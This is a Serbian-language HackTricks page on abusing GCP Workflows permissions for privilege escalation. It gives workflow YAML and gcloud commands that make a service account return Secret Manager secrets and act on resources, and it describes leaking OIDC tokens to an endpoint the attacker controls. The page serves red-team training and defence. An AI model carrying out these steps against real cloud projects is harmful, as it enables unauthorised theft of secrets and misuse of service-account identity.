GCP - Workflows Privesc

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Workflows

Osnovne informacije:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Koliko ja znam, nije moguće dobiti shell sa pristupom metapodacima koji sadrže SA akreditive SA vezanog za Workflow. Međutim, moguće je zloupotrebiti dozvole SA dodavanjem akcija koje treba izvršiti unutar Workflow-a.

Moguće je pronaći dokumentaciju konektora. Na primer, ovo je stranica konektora Secretmanager. U bočnoj traci moguće je pronaći nekoliko drugih konektora.

I ovde možete pronaći primer konektora koji štampa tajnu:

yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"

Ažuriranje iz CLI-a:

bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Ako dobijete grešku poput ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist, samo sačekajte minut i pokušajte ponovo.

Ako nemate pristup vebu, moguće je pokrenuti i videti izvršenje Workflow-a sa:

bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

caution

Takođe možete proveriti izlaz prethodnih izvršenja da biste potražili osetljive informacije

Imajte na umu da čak i ako dobijete grešku poput PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... jer nemate tu dozvolu, radni tok je generisan.

Leak OIDC token (i OAuth?)

Prema dokumentaciji, moguće je koristiti korake radnog toka koji će poslati HTTP zahtev sa OAuth ili OIDC tokenom. Međutim, kao u slučaju Cloud Scheduler, HTTP zahtev sa Oauth tokenom mora biti upućen hostu .googleapis.com.

caution

Stoga, moguće je iscuriti OIDC token ukazivanjem na HTTP endpoint koji kontroliše korisnik, ali da biste iscurili OAuth token, potrebno je zaobići tu zaštitu. Ipak, i dalje možete kontaktirati bilo koji GCP API da izvršite radnje u ime SA koristeći bilo koje konektore ili HTTP zahteve sa OAuth tokenom.

Oauth

yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

Sa ovom dozvolom umesto workflows.workflows.create moguće je ažurirati već postojeći radni tok i izvršiti iste napade.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks